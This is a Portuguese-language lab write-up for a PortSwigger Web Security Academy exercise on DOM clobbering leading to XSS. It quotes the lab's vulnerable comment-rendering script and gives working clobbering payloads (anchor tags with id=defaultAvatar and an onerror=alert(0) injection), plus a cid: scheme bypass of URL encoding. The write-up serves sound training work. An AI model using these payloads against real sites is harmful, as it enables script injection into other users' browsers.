> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/dom/dom-clobbering-xss.md).

# XSS por DOM Clobbering

Notas sobre XSS por DOM Clobbering para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Explorando DOM Clobbering para viabilizar XSS

Explore uma vulnerabilidade de DOM clobbering. A funcionalidade de comentários permite um HTML "seguro". O objetivo é injetar um fragmento HTML que sobrescreva uma variável do DOM (clobbering) e acionar uma execução de XSS (`alert()`).

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a784c8db7bdd30852b90b321fa695c2f2a43075%2F%7B3F519A83-B505-47E7-B40E-65B5329AB703%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

A área de comentários aceita HTML e alguns elementos são retornados (por exemplo, um `<h1>` interpretador).

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f4511b0a21a49951ec8c9cd3c62c233180457df7%2F%7BADDAA716-64A1-4DD6-AA85-861408CB4162%7D.png?alt=media" alt="" width="539"><figcaption></figcaption></figure>

* O script do lado do cliente carrega e exibe os comentários recuperados em JSON. Ele usa `DOMPurify.sanitize()` para limpar `autor` e `corpo` campos, mas outras manipulações do DOM permanecem vulneráveis a clobbering.

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(data) {
        return data.replace(/[<>'"]/g, function(c){
            return '&#' + c.charCodeAt(0) + ';';
        })
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

            let divImgContainer = document.createElement("div");
            divImgContainer.innerHTML = avatarImgHTML

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(divImgContainer);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* O código cria um `defaultAvatar` objeto ao ler `window.defaultAvatar` se presente; `defaultAvatar` pode, portanto, ser sobrescrito por meio de um elemento DOM com um `defaultAvatar` identificador (clobbering).
* Como o `src` atributo do `<img>` é construído a partir de `defaultAvatar.avatar` quando `comment.avatar` está ausente, é possível forçar um `defaultAvatar` controlado pelo atacante para influenciar o valor inserido.
* A inserção é feita por `divImgContainer.innerHTML = avatarImgHTML`, que aciona a interpretação da string HTML construída.

{% code overflow="wrap" %}

```javascript
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
```

{% endcode %}

Tente forçar `defaultAvatar` por meio de uma `<a id=defaultAvatar>` elemento contendo um atributo provavelmente capaz de causar um erro no lado do cliente (por ex., `onerror=alert(0)`).

```html
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="0&quot;onerror=alert(0)>//">
```

Isso é codificado em URL pelo sistema

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4f7b0ab505e27099f8f0d15431940ba3f47ae4b5%2F%7BEBF4A302-DD1B-4692-A7AB-74D08565C923%7D.png?alt=media" alt="" width="480"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d22d419e58ecfd01996589a4a6c02bfd36cf7cb%2F%7BA41A9006-852D-44C9-B580-9445618CA502%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Teste de contorno usando um `cid:` esquema para que o valor não seja codificado:

```javascript
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(0)>//">
```

o último é interpretado

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-52e51c310f7db7c697cb2282f363bd7da58397a0%2F%7B2B4FCA7B-0FE9-4492-AFF0-C926D120517B%7D.png?alt=media" alt="" width="443"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13291c7769079a9cdb0f95686b691e99d0f03e46%2F%7B36495909-F4B1-4BEA-992E-A5B8306C556F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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